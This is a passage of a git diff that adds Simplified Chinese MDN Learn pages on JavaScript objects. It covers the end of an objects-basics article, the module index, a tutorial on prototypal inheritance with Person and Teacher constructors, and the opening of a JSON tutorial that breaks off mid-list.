指向了代码所在的对象(其实代码运行时所在的对象)。在字面量的对象里this看起来不是很有用,但是当你动态创建一个对象(例如使用构造器)时它是非常有用的,之后你会更清楚它的用途。</p> + +<h2 id="你一直在使用对象">你一直在使用对象</h2> + +<p>当你使用过这些例子之后,你可能会发现你对点表示法并不陌生,这是因为我们在这个课程里一直在使用它,每次我们学习的示例使用浏览器内建的API和JavaScript的一些对象时,我们就在使用对象,因为,这些功能是由跟我们所看到的对象同样的结构来构建的,虽然比我们自己定义的要复杂许多。</p> + +<p>所以当我们这样使用字符串的方法时:</p> + +<pre class="brush: js">myString.split(',');</pre> + +<p>你正在使用一个字符串实例上可用的方法,你随时都可以在代码里使用字面量创建一个字符串,字符串会自动的被创建为字符串(<code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String">String</a></code>)的实例,因此会有一些常见的方法和属性可用。</p> + +<p>当你这样访问document对象时:</p> + +<pre class="brush: js">var myDiv = document.createElement('div'); +var myVideo = document.querySelector('video');</pre> + +<p>你正在使用<code><a href="/en-US/docs/Web/API/Document">Document</a></code>实例上可用的方法。每个页面在加载完毕后,会有一个Document的实例被创建,叫做document,它代表了整个页面的结构,内容和一些功能,比如页面的URL。同样的,这意味document有一些可用的方法和属性。</p> + +<p>这同样适用许多其他内建的对象或API,你使用过有—— <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array">Array</a></code>,<code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math">Math</a></code>, 等。</p> + +<p>请注意内建的对象或API不会总是自动地创建对象的实例,举例来说,这个 <a href="/en-US/docs/Web/API/Notifications_API">Notifications API</a>——允许浏览器发起系统通知,需要你为每一个你想发起的通知都使用构造器进行实例化。尝试在JavaScript终端里输入以下代码</p> + +<pre class="brush: js">var myNotification = new Notification('Hello!');</pre> + +<p>我们会在之后的文章里学习到构造器。</p> + +<div class="note"> +<p><strong>Note</strong>: 这样来理解对象之间通过消息传递来通信是很有用的——当一个对象想要另一个执行某种动作时,它通常会通过那个对象的方法给其发送一些信息,并且等待回应,即我们所知的返回值。</p> +</div> + +<h2 id="总结">总结</h2> + +<p>恭喜,你已经阅读到了我们有关JavaScript对象的第一篇文章的末尾,你现在应该对如何在JavaScript中使用对象有了很好的认识,包括你自己创建一个简单的对象。你应该清楚对象有利于存储一些相关联的数据和函数,如果你尝试以分开的方式去保存person对象包含的所有的属性和方法,这是令人沮丧且效率低下的,而且会有很多的变量和函数之间同名的风险。对象使我们将一些信息安全地锁在了它们自己的包内,防止它们被损坏。</p> + +<p>在下一篇文章,我们将会了解面对对象编程(OOP)理论,和许多在JavaScript中使用的技巧。</p> + +<p>{{NextMenu("Learn/JavaScript/Objects/Object-oriented_JS", "Learn/JavaScript/Objects")}}</p> diff --git a/files/zh-cn/learn/javascript/objects/index.html b/files/zh-cn/learn/javascript/objects/index.html new file mode 100644 index 0000000000..cb1c75af18 --- /dev/null +++ b/files/zh-cn/learn/javascript/objects/index.html @@ -0,0 +1,51 @@ +--- +title: JavaScript 对象入门 +slug: Learn/JavaScript/Objects +tags: + - CodingScripting + - JavaScript + - 初学者 + - 学习 + - 对象 + - 指南 + - 教程 + - 评估 +translation_of: Learn/JavaScript/Objects +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">在 JavaScript 中,大多数事物都是对象, 从作为核心功能的字符串和数组,到建立在 JavaScript 之上的浏览器 {{Glossary("API", "API")}} 。你甚至可以自己创建对象,将相关的函数和变量高效地封装打包成便捷的数据容器。对于进一步学习 JavaScript 语言知识而言,理解这种面向对象(object-oriented, OO)的特性是必不可少的,所以,我们提供了这个模块来帮助你了解这一切。这里我们会先详细介绍对象的理论和语法,再介绍如何创建对象。</p> + +<h2 id="预备知识">预备知识</h2> + +<p>开始这个模块之前,你应当已经对 HTML 和 CSS 有所了解。我们建议你通读 <a href="/zh-CN/docs/Web/Guide/HTML/Introduction">HTML 入门</a>和 <a href="/zh-CN/docs/Learn/CSS/Introduction_to_CSS">CSS 入门</a>模块,再开始了解 JavaScript。</p> + +<p>详细了解 JavaScript 对象之前,你应当已经对 JavaScript 基础有所熟悉。尝试这个模块之前,请通读 <a href="/zh-CN/docs/Learn/JavaScript/First_steps">JavaScript 第一步</a> 和 <a href="/zh-CN/docs/Learn/JavaScript/Building_blocks">JavaScript基础要件 </a></p> + +<div class="note"> +<p><strong>注意</strong>:如果您无法在当前使用的电脑/平板/其他设备上创建自己的文件,可以使用在线编程网站如 <a href="http://jsbin.com/">JSBin</a> 或 <a href="https://thimble.mozilla.org/">Thimble</a>,来试验文章中的(大多数)代码。</p> +</div> + +<h2 id="指南">指南</h2> + +<dl> + <dt><a href="/zh-CN/docs/Learn/JavaScript/Objects/Basics">对象基础</a></dt> + <dd>在了解 JavaScript 对象的第一篇文章中,我们将介绍 JavaScript 对象的语法,并回顾先前课程中讲过的某些 JavaScript 功能。你会发现,你已经在使用的很多功能本质上都是对象。</dd> + <dt><a href="/zh-CN/docs/Learn/JavaScript/Objects/Object-oriented_JS">适合初学者的面向对象 JavaScript</a></dt> + <dd>了解基础后,我们将关注面向对象 JavaScript (OOJS)。本文将介绍面向对象编程 (OOP) 的基本理论,然后讲解 JavaScript 如何通过构造器 (constructor) 函数模拟对象类别 (class)、如何创建对象实例 (instance)。</dd> + <dt><a href="/zh-CN/docs/Learn/JavaScript/Objects/Object_prototypes">对象原型</a></dt> + <dd>通过原型 (prototype) 这种机制,JavaScript 中的对象从其他对象继承功能特性;这种继承机制与经典的面向对象编程语言不同。本文将探讨这些差别,解释原型链如何工作,并了解如何通过 <code>prototype</code> 属性向已有的构造器添加方法。</dd> + <dt><a href="/zh-CN/docs/Learn/JavaScript/Objects/Inheritance">JavaScript 中的继承</a></dt> + <dd>了解了 OOJS 的大多数细节之后,本文将介绍如何创建“子”对象类别(构造器)并从“父”类别中继承功能。此外,我们还会针对何时何处使用 OOJS 给出建议。</dd> + <dt><a href="/zh-CN/docs/Learn/JavaScript/Objects/JSON">使用 JSON 数据</a></dt> + <dd>JavaScript Object Notation (JSON) 是一种将结构化数据表达为 JavaScript 对象的标准格式,其常用于在网站上表达或传输数据(比如:从服务器向客户端发送数据,使之显示在网页上)。你会经常遇到它,因此本文将告诉你如何在 JavaScript 中使用 JSON 数据,包括访问 JSON 对象中的数据条目、编写自己的 JSON 数据等等。</dd> + <dt><a href="/zh-CN/docs/Learn/JavaScript/Objects/Object_building_practice">构建对象实战</a></dt> + <dd>在前面的文章中我们了解了 JavaScript 对象基本理论和语法,为你打下坚实的基础。本文中你需要进行实战练习,通过构建自定义 JavaScript 对象的实践过程,编写一个有趣而又多彩的程序——“彩色弹跳球”。</dd> +</dl> + +<h2 id="学习评估">学习评估</h2> + +<dl> + <dt><a href="/zh-CN/docs/Learn/JavaScript/Objects/Adding_bouncing_balls_features">向“弹跳球”演示程序添加新功能</a></dt> + <dd>在这个评估中,你需要以上一篇文章中的“弹跳球”演示为起点,向这个演示程序新增一些有趣的功能。</dd> +</dl> diff --git a/files/zh-cn/learn/javascript/objects/inheritance/index.html b/files/zh-cn/learn/javascript/objects/inheritance/index.html new file mode 100644 index 0000000000..c7b564d978 --- /dev/null +++ b/files/zh-cn/learn/javascript/objects/inheritance/index.html @@ -0,0 +1,251 @@ +--- +title: JavaScript 中的继承 +slug: Learn/JavaScript/Objects/Inheritance +tags: + - JavaScript + - OOJS + - 原型 + - 对象 + - 继承 + - 面向对象JS +translation_of: Learn/JavaScript/Objects/Inheritance +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/Objects/Object_prototypes", "Learn/JavaScript/Objects/JSON", "Learn/JavaScript/Objects")}}</div> + +<p class="summary">了解了 OOJS 的大多数细节之后,本文将介绍如何创建“子”对象类别(构造器)并从“父”类别中继承功能。此外,我们还会针对何时何处使用 OOJS 给出建议。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>基本的计算机素养,对 HTML 和 CSS 有基本的理解,熟悉 JavaScript 基础(参见 <a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/First_steps">First steps</a> 和 <a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/Building_blocks">Building blocks</a>)以及面向对象的JavaScript (OOJS) 基础(参见 <a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/Object-oriented/Introduction">Introduction to objects</a>)。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>理解在 JavaScript 中如何实现继承。</td> + </tr> + </tbody> +</table> + +<h2 id="原型式的继承">原型式的继承</h2> + +<p>到目前为止我们已经了解了一些关于原型链的实现方式以及成员变量是如何通过它来实现继承,但是之前涉及到的大部分都是浏览器内置函数(比如 <code><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String">String</a></code>、<code><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Date">Date</a></code>、<code><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Number">Number</a></code> 和 <code><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array">Array</a></code>),那么我们如何创建一个继承自另一对象的JavaScript对象呢?</p> + +<p>正如前面课程所提到的,有些人认为JavaScript并不是真正的面向对象语言,在经典的面向对象语言中,您可能倾向于定义类对象,然后您可以简单地定义哪些类继承哪些类(参考<a href="http://www.tutorialspoint.com/cplusplus/cpp_inheritance.htm">C++ inheritance</a>里的一些简单的例子),JavaScript使用了另一套实现方式,继承的对象函数并不是通过复制而来,而是通过原型链继承(通常被称为 <strong>原型式继承 —— </strong><strong>prototypal inheritance<font face="Consolas, Liberation Mono, Courier, monospace">)</font></strong>。</p> + +<p>让我们通过具体的例子来解释上述概念</p> + +<h2 id="开始">开始</h2> + +<p>首先,将<a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/oojs-class-inheritance-start.html">oojs-class-inheritance-start.html</a>文件复制到您本地(也可以 <a href="http://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-inheritance-start.html">在线运行</a> ),其中您能看到一个只定义了一些属性的<code>Person()</code>构造器,与之前通过模块来实现所有功能的Person的构造器类似。</p> + +<pre class="brush: js notranslate">function Person(first, last, age, gender, interests) { + this.name = { + first, + last + }; + this.age = age; + this.gender = gender; + this.interests = interests; +}; +</pre> + +<p><em>所有</em>的方法都定义在构造器的原型上,比如:</p> + +<pre class="brush: js notranslate">Person.prototype.greeting = function() { + alert('Hi! I\'m ' + this.name.first + '.'); +}; +</pre> + +<div class="note"> +<p>注意:在源代码中,你可以看到已定义的<code>bio()</code>和<code>farewell()</code>方法。随后,你将看到它们被其他的构造器所继承。</p> +</div> + +<p>比如我们想要创建一个<code>Teacher</code>类,就像我们前面在面向对象概念解释时用的那个一样。这个类会继承<code>Person</code>的所有成员,同时也包括:</p> + +<ol> + <li>一个新的属性,<code>subject</code>——这个属性包含了教师教授的学科。</li> + <li>一个被更新的<code>greeting()</code>方法,这个方法打招呼听起来比一般的<code>greeting()</code>方法更正式一点——对于一个教授一些学生的老师来说。</li> +</ol> + +<h2 id="定义_Teacher_构造器函数">定义 Teacher() 构造器函数</h2> + +<p>我们要做的第一件事是创建一个<code>Teacher()</code>构造器——将下面的代码加入到现有代码之下:</p> + +<pre class="brush: js notranslate">function Teacher(first, last, age, gender, interests, subject) { + Person.call(this, first, last, age, gender, interests); + + this.subject = subject; +} +</pre> + +<p>这在很多方面看起来都和Person的构造器很像,但是这里有一些我们从没见过的奇怪玩意——<code><a href="/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function/call">call()</a></code>函数。基本上,这个函数允许您调用一个在这个文件里别处定义的函数。第一个参数指明了在您运行这个函数时想对“<code>this</code>”指定的值,也就是说,您可以重新指定您调用的函数里所有“<code>this</code>”指向的对象。其他的变量指明了所有目标函数运行时接受的参数。</p> + +<div class="note"> +<p><strong>注:</strong>在这个例子里我们在创建一个新的对象实例时同时指派了继承的所有属性,但是注意您需要在构造器里将它们作为参数来指派,即使实例不要求它们被作为参数指派(比如也许您在创建对象的时候已经得到了一个设置为任意值的属性)</p> +</div> + +<p>所以在这个例子里,我们很有效的在<code>Teacher()</code>构造函数里运行了<code>Person()</code>构造函数(见上文),得到了和在<code>Teacher()</code>里定义的一样的属性,但是用的是传送给<code>Teacher()</code>,而不是<code>Person()</code>的值(我们简单使用这里的<code>this</code>作为传给<code>call()</code>的<code>this</code>,意味着<code>this</code>指向<code>Teacher()</code>函数)。</p> + +<p>在构造器里的最后一行代码简单地定义了一个新的<code>subject</code>属性,这将是教师会有的,而一般人没有的属性。</p> + +<p>顺便提一下,我们本也可以这么做:</p> + +<pre class="brush: js notranslate">function Teacher(first, last, age, gender, interests, subject) { + this.name = { + first, + last + }; + this.age = age; + this.gender = gender; + this.interests = interests; + this.subject = subject; +} +</pre> + +<p>但是这只是重新定义了一遍属性,并不是将他们从Person()中继承过来的,所以这违背了我们的初衷。这样写也会需要更长的代码。</p> + +<h3 id="从无参构造函数继承">从无参构造函数继承</h3> + +<p>请注意,如果您继承的构造函数不从传入的参数中获取其属性值,则不需要在<code>call()</code>中为其指定其他参数。所以,例如,如果您有一些相当简单的东西:</p> + +<pre class="brush: js notranslate">function Brick() { + this.width = 10; + this.height = 20; +}</pre> + +<p>您可以这样继承<code>width</code>和<code>height</code>属性(以及下面描述的其他步骤):</p> + +<pre class="brush: js notranslate">function BlueGlassBrick() { + Brick.call(this); + + this.opacity = 0.5; + this.color = 'blue'; +}</pre> + +<p>请注意,我们仅传入了<code>this</code>到<code>call()</code>中 - 不需要其他参数,因为我们不会继承通过参数设置的父级的任何属性。</p> + +<h2 id="设置_Teacher_的原型和构造器引用">设置 Teacher() 的原型和构造器引用</h2> + +<p>到目前为止一切看起来都还行,但是我们遇到问题了。我们已经定义了一个新的构造器,这个构造器默认有一个空的原型属性。我们需要让<code>Teacher()</code>从<code>Person()</code>的原型对象里继承方法。我们要怎么做呢?</p> + +<ol> + <li>在您先前添加的代码的下面增加以下这一行: + <pre class="brush: js notranslate">Teacher.prototype = Object.create(Person.prototype);</pre> + 这里我们的老朋友<code><a href="/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/create">create()</a></code>又来帮忙了——在这个例子里我们用这个函数来创建一个和<code>Person.prototype</code>一样的新的原型属性值(这个属性指向一个包括属性和方法的对象),然后将其作为<code>Teacher.prototype</code>的属性值。这意味着<code>Teacher.prototype</code>现在会继承<code>Person.prototype</code>的所有属性和方法。</li> + <li>接下来,在我们动工之前,还需要完成一件事 — 现在<code>Teacher()</code>的<code>prototype</code>的<code>constructor</code>属性指向的是<code>Person()</code>, 这是由我们生成<code>Teacher()</code>的方式决定的。(这篇 <a href="https://stackoverflow.com/questions/8453887/why-is-it-necessary-to-set-the-prototype-constructor">Stack Overflow post</a> 文章会告诉您详细的原理) — 将您写的页面在浏览器中打开,进入JavaScript控制台,输入以下代码来确认: + <pre class="brush: js notranslate">Teacher.prototype.constructor</pre> + </li> + <li>这或许会成为很大的问题,所以我们需要将其正确设置——您可以回到源代码,在底下加上这一行代码来解决: + <pre class="brush: js notranslate">Teacher.prototype.constructor = Teacher;</pre> + </li> + <li>当您保存并刷新页面以后,输入<code>Teacher.prototype.constructor</code>就会得到<code>Teacher()</code>。</li> +</ol> + +<div class="note"> +<p><strong>注:</strong>每一个函数对象(<code>Function</code>)都有一个<code>prototype</code>属性,并且<em>只有</em>函数对象有<code>prototype</code>属性,因为<code>prototype</code>本身就是定义在<code>Function</code>对象下的属性。当我们输入类似<code>var person1=new Person(...)</code>来构造对象时,JavaScript实际上参考的是<code>Person.prototype</code>指向的对象来生成<code>person1</code>。另一方面,<code>Person()</code>函数是<code>Person.prototype</code>的构造函数,也就是说<code>Person===Person.prototype.constructor</code>(不信的话可以试试)。</p> + +<p>在定义新的构造函数<code>Teacher</code>时,我们通过<code>function.call</code>来调用父类的构造函数,但是这样无法自动指定<code>Teacher.prototype</code>的值,这样<code>Teacher.prototype</code>就只能包含在构造函数里构造的属性,而没有方法。因此我们利用<code>Object.create()</code>方法将<code>Person.prototype</code>作为<code>Teacher.prototype</code>的原型对象,并改变其构造器指向,使之与<code>Teacher</code>关联。</p> + +<p><em>任何</em>您想要被继承的方法都应该定义在构造函数的<code>prototype</code>对象里,并且<em>永远</em>使用父类的<code>prototype</code>来创造子类的<code>prototype</code>,这样才不会打乱类继承结构。</p> +</div> + +<h2 id="向_Teacher_添加一个新的greeting函数">向 Teacher() 添加一个新的greeting()函数</h2> + +<p>为了完善代码,您还需在构造函数<code>Teacher()</code>上定义一个新的函数<code>greeting()</code>。最简单的方法是在Teacher的原型上定义它—把以下代码添加到您代码的底部:</p> + +<pre class="brush: js notranslate">Teacher.prototype.greeting = function() { + var prefix; + + if(this.gender === 'male' || this.gender === 'Male' || this.gender === 'm' || this.gender === 'M') { + prefix = 'Mr.'; + } else if(this.gender === 'female' || this.gender === 'Female' || this.gender === 'f' || this.gender === 'F') { + prefix = 'Mrs.'; + } else { + prefix = 'Mx.'; + } + + alert('Hello. My name is ' + prefix + ' ' + this.name.last + ', and I teach ' + this.subject + '.'); +};</pre> + +<p>这样就会出现老师打招呼的弹窗,老师打招呼会使用条件结构判断性别从而使用正确的称呼。</p> + +<h2 id="范例尝试">范例尝试</h2> + +<p>现在我们来键入代码,将下面的代码放到您的 JavaScript 代码下面从而来创建一个 <code>Teacher()</code> 对象实例。</p> + +<pre class="brush: js notranslate">var teacher1 = new Teacher('Dave', 'Griffiths', 31, 'male', ['football', 'cookery'], 'mathematics');</pre> + +<p>当您保存代码并刷新的时候,试一下您的老师实例的属性和方法:</p> + +<pre class="brush: js notranslate">teacher1.name.first; +teacher1.interests[0]; +teacher1.bio(); +teacher1.subject; +teacher1.greeting();</pre> + +<p>前面三个进入到从<code>Person()</code>的构造器 继承的属性和方法,后面两个则是只有<code>Teacher()</code>的构造器才有的属性和方法。</p> + +<div class="note"> +<p><strong>注:</strong>如果您在这里遇到了问题,请对比您的代码与我们的<a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/oojs-class-inheritance-finished.html">完成版本</a>(或查看<a href="http://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-inheritance-finished.html">可运行的在线示例</a>)。</p> +</div> + +<p>我们在这里讲述的技巧并不是 JavaScript 中创建继承类的唯一方式,但是这个技巧也还不错,非常好地告诉了您如何在 JavaScript 中实行继承操作。</p> + +<p>您可能对在 JavaScript中使用其他方法来实行继承会感兴趣(参见 <a href="/en-US/docs/Web/JavaScript/Reference/Classes">Classes</a>)。我们没有覆盖那些内容,因为并不是每种浏览器都会支持这些方法。我们在这一系列文章中介绍的所有其他方法都会被 IE9 支持或者更老的浏览器支持,也有一些方法可以支持更老的浏览器。</p> + +<p>一个常用的方法是使用 JavaScript 语言库——最热门的一些库提供一些方法让我们更快更好地实行继承。比如 <a href="http://coffeescript.org/#classes">CoffeeScript</a> 就提供一些类和扩展。</p> + +<h2 id="更多练习">更多练习</h2> + +<p>在我们的 <a href="/zh-CN/docs/Learn/JavaScript/Objects/Object-oriented_JS#Object-oriented_programming_from_10000_meters">OOP theory section</a> 模块中, 我们也将学生类作为一个概念,继承了 Person 所有的属性和方法,也有一个不同的打招呼的方法(比老师的打招呼轻松随意一些)。您可以自己尝试一下如何实现。</p> + +<div class="note"> +<p><strong>注:</strong>如果你编写时遇到困难,代码无法运行,那么可以查看我们的<a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/oojs-class-inheritance-student.html">完成版本</a>(也可查看 <a href="http://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-inheritance-student.html">可运行的在线示例</a>)。</p> +</div> + +<h2 id="对象成员总结">对象成员总结</h2> + +<p>总结一下,您应该基本了解了以下三种属性或者方法:</p> + +<ol> + <li>那些定义在构造器函数中的、用于给予对象实例的。这些都很容易发现 - 在您自己的代码中,它们是构造函数中使用<code>this.x = x</code>类型的行;在内置的浏览器代码中,它们是可用于对象实例的成员(通常通过使用<code>new</code>关键字调用构造函数来创建,例如<code>var myInstance = new myConstructor()</code>)。</li> + <li>那些直接在构造函数上定义、仅在构造函数上可用的。这些通常仅在内置的浏览器对象中可用,并通过被直接链接到构造函数而不是实例来识别。 例如<code><a href="/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/keys">Object.keys()</a></code>。</li> + <li>那些在构造函数原型上定义、由所有实例和对象类继承的。这些包括在构造函数的原型属性上定义的任何成员,如<code>myConstructor.prototype.x()</code>。</li> +</ol> + +<p>如果您现在觉得一团浆糊,别担心——您现在还处于学习阶段,不断练习才会慢慢熟悉这些知识。</p> + +<h2 id="何时在_JavaScript_中使用继承?">何时在 JavaScript 中使用继承?</h2> + +<p>特别是在读完这段文章内容之后,您也许会想 "天啊,这实在是太复杂了". 是的,您是对的,原型和继承代表了JavaScript这门语言里最复杂的一些方面,但是JavaScript的强大和灵活性正是来自于它的对象体系和继承方式,这很值得花时间去好好理解下它是如何工作的。</p> + +<p>在某种程度上来说,您一直都在使用继承 - 无论您是使用WebAPI的不同特性还是调用字符串、数组等浏览器内置对象的方法和属性的时候,您都在隐式地使用继承。</p> + +<p>就在自己代码中使用继承而言,您可能不会使用的非常频繁,特别是在小型项目中或者刚开始学习时 - 因为当您不需要对象和继承的时候,仅仅为了使用而使用它们只是在浪费时间而已。但是随着您的代码量的增大,您会越来越发现它的必要性。如果您开始创建一系列拥有相似特性的对象时,那么创建一个包含所有共有功能的通用对象,然后在更特殊的对象类型中继承这些特性,将会变得更加方便有用。</p> + +<div class="note"> +<p><strong>注: </strong>考虑到JavaScript的工作方式,由于原型链等特性的存在,在不同对象之间功能的共享通常被叫做 <strong>委托</strong> - 特殊的对象将功能委托给通用的对象类型完成。这也许比将其称之为继承更为贴切,因为“被继承”了的功能并没有被拷贝到正在“进行继承”的对象中,相反它仍存在于通用的对象中。</p> +</div> + +<p>在使用继承时,建议您不要使用过多层次的继承,并仔细追踪定义方法和属性的位置。很有可能您的代码会临时修改了浏览器内置对象的原型,但您不应该这么做,除非您有足够充分的理由。过多的继承会在调试代码时给您带来无尽的混乱和痛苦。</p> + +<p>总之,对象是另一种形式的代码重用,就像函数和循环一样,有他们特定的角色和优点。如果您发现自己创建了一堆相关的变量和函数,还想一起追踪它们并将其灵活打包的话,对象是个不错的主意。对象在您打算把一个数据集合从一个地方传递到另一个地方的时候非常有用。这些都可以在不使用构造器和继承的情况下完成。如果您只是需要一个单一的对象实例,也许使用对象常量会好些,您当然不需要使用继承。</p> + +<h2 id="总结">总结</h2> + +<p>这篇文章覆盖了剩余的 OOJS 理论的核心知识和我们认为您应该知道的语法,这个时候您应该理解了 JavaScript 中的对象和 OOP 基础,原型和原型继承机制,如何创建类(constructors)和对象实例,为类增加功能,通过从其他类继承而创建新的子类。</p> + +<p>下一篇文章我们将学习如何运用 JavaScript Object Notation (JSON), 一种使用 JavaScript 对象写的数据传输格式。</p> + +<h2 id="参见">参见</h2> + +<ul> + <li><a href="http://www.objectplayground.com/">ObjectPlayground.com</a> - 一个非常有用的、用于了解对象的交互式学习网站。</li> + <li><a href="https://www.amazon.com/gp/product/193398869X/">Secrets of the JavaScript Ninja</a>, 第6章 - 由John Resig和Bear Bibeault撰写的关于高级JavaScript概念和技术的好书。第6章很好地介绍了原型和继承的相关方面;您可以很容易地找到打印版本或在线副本。</li> + <li><a href="https://github.com/getify/You-Dont-Know-JS/blob/1ed-zh-CN/this%20%26%20object%20prototypes/ch5.md">You Don't Know JS: this & Object Prototypes</a> - 凯尔·辛普森(Kyle Simpson)的一系列优秀的JavaScript手册,第5章对原型的解释比我们在这里做的更详细。我们在本系列针对初学者的文章中提出了简化的观点,而凯尔深入学习,并提供了更为复杂但更准确的图景。</li> +</ul> + +<p>{{PreviousMenuNext("Learn/JavaScript/Objects/Object_prototypes", "Learn/JavaScript/Objects/JSON", "Learn/JavaScript/Objects")}}</p> diff --git a/files/zh-cn/learn/javascript/objects/json/index.html b/files/zh-cn/learn/javascript/objects/json/index.html new file mode 100644 index 0000000000..c6963d261f --- /dev/null +++ b/files/zh-cn/learn/javascript/objects/json/index.html @@ -0,0 +1,327 @@ +--- +title: 使用JSON +slug: Learn/JavaScript/Objects/JSON +tags: + - Working with JSON data +translation_of: Learn/JavaScript/Objects/JSON +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/Objects/Inheritance", "Learn/JavaScript/Objects/Object_building_practice", "Learn/JavaScript/Objects")}}</div> + +<p class="summary">JavaScript对象表示法(JSON)是用于将结构化数据表示为JavaScript对象的标准格式,通常用于在网站上表示和传输数据(例如从服务器向客户端发送一些数据,因此可以将其显示在网页上)。您会经常遇到它,所以在本文中,我们向您提供使用JavaScript处理JSON的所有工作,包括访问JSON对象中的数据项并编写自己的JSON。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提:</th> + <td>计算机基础知识,HTML 和 CSS 基础 (see <a href="/en-US/docs/Learn/JavaScript/First_steps">First steps</a> and <a href="/en-US/docs/Learn/JavaScript/Building_blocks">Building blocks</a>) 和 JS 面向对象基础(see <a href="/en-US/docs/Learn/JavaScript/Object-oriented/Introduction">Introduction to objects</a>)。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>理解 JSON 的数据储存工作原理,创建您的 JSON 对象。</td> + </tr> + </tbody> +</table> + +<h2 id="什么是_JSON">什么是 JSON?</h2> + +<p>{{glossary("JSON")}} 是一种按照JavaScript对象语法的数据格式,这是 <a href="https://en.wikipedia.org/wiki/Douglas_Crockford">Douglas Crockford</a> 推广的。虽然它是基于 JavaScript 语法,但它独立于JavaScript,这也是为什么许多程序环境能够读取(解读)和生成 JSON。 </p> + +<p>JSON可以作为一个对象或者字符串存在,前者用于解读 JSON 中的数据,后者用于通过网络传输 JSON 数据。 这不是一个大事件——JavaScript 提供一个全局的 可访问的 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON">JSON</a> 对象来对这两种数据进行转换。</p> + +<p>一个 JSON 对象可以被储存在它自己的文件中,这基本上就是一个文本文件,扩展名为 <code>.json</code>, 还有 {{glossary("MIME type")}} 用于 <code>application/json</code>.</p> + +<h3 id="JSON_结构">JSON 结构</h3> + +<p>我们已经可以推测出 JSON 对象就是基于 JavaScript 对象,而且这几乎是正确的。您可以把 JavaScript 对象原原本本的写入 JSON 数据——字符串,数字,数组,布尔还有其它的字面值对象。这允许您构造出一个对象树,如下:</p> + +<pre class="brush: json notranslate">{ + "squadName" : "Super hero squad", + "homeTown" : "Metro City", + "formed" : 2016, + "secretBase" : "Super tower", + "active" : true, + "members" : [ + { + "name" : "Molecule Man", + "age" : 29, + "secretIdentity" : "Dan Jukes", + "powers" : [ + "Radiation resistance", + "Turning tiny", + "Radiation blast" + ] + }, + { + "name" : "Madame Uppercut", + "age" : 39, + "secretIdentity" : "Jane Wilson", + "powers" : [ + "Million tonne punch", + "Damage resistance", + "Superhuman reflexes" + ] + }, + { + "name" : "Eternal Flame", + "age" : 1000000, + "secretIdentity" : "Unknown", + "powers" : [ + "Immortality", + "Heat Immunity", + "Inferno", + "Teleportation", + "Interdimensional travel" + ] + } + ] +}</pre> + +<p>如果我们要加载对象进入 JavaScript 程序,以保存为一个名为 <code>superHeroes </code>对象为例,我们使用 . 或 [] 访问对象内的数据(关于. 和 []概念,见 <a href="/en-US/docs/Learn/JavaScript/Objects/Basics">对象基础</a> )。如:</p> + +<pre class="brush: js notranslate">superHeroes.hometown +superHeroes["active"]</pre> + +<p>为了访问对象中的对象,您只需简单地链式访问(通过属性名和数组索引)。例如,访问 superHeroes 对象中的 members 数组对象的第二个元素的 powers 数组对象的第三个元素,您可以这样做:</p> + +<pre class="brush: js notranslate">superHeroes["members"][1]["powers"][2]</pre> + +<ol> + <li>首先我们有变量名 <code>superHeroes</code>,储存对象 。</li> + <li>在对象中我们想访问 <code>members</code> 属性,所以我们使用 <code>["members"]</code>。</li> + <li><code>members </code>包含有对象数组,我们想要访问第二个元素,所以我们使用<code>[1]</code>。</li> + <li>在对象内,我们想访问 <code>powers</code> 属性,所以我们使用 <code>["powers"]</code>。</li> + <li><code>powers</code> 属性是一个包含英雄技能的数组。我们想要第三个,所以我们使用<code>[2]</code>。</li> +</ol> + +<div class="note"> +<p><strong>注:</strong>我们已经在 <a href="http://mdn.github.io/learning-area/javascript/oojs/json/JSONTest.html">JSONText.html</a> 实例中让JSON 对象进入变量中使其可访问(见<a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/json/JSONTest.html">源代码</a>)。尝试加载它并且在您的浏览器上访问对象数据。</p> +</div> + +<h3 id="JSON_数组">JSON 数组</h3> + +<p>前面我们已经说过,”我们已经可以推测出 JSON 对象就是基于 JavaScript 对象,而且这几乎是正确的“——我们说几乎正确的原因是数组对象也是一种合法的 JSON 对象,例如:</p> + +<pre class="brush: json notranslate">[ + { + "name" : "Molecule Man", + "age" : 29, + "secretIdentity" : "Dan Jukes", + "powers" : [ + "Radiation resistance", + "Turning tiny", + "Radiation blast" + ] + }, + { + "name" : "Madame Uppercut", + "age" : 39, + "secretIdentity" : "Jane Wilson", + "powers" : [ + "Million tonne punch", + "Damage resistance", + "Superhuman reflexes" + ] + } +]</pre> + +<p>上面是完全合法的 JSON。您只需要通过数组索引就可以访问数组元素,如<code>[0]["powers"][0]。</code></p> + +<h3 id="其他注意事项">其他注意事项</h3> + +<ul> + <li>JSON 是一种纯数据格式,它只包含属性,没有方法。</li> + <li>JSON要求在字符串和属性名称周围使用双引号。 单引号无效。</li> + <li>甚至一个错位的逗号或分号就可以导致 JSON 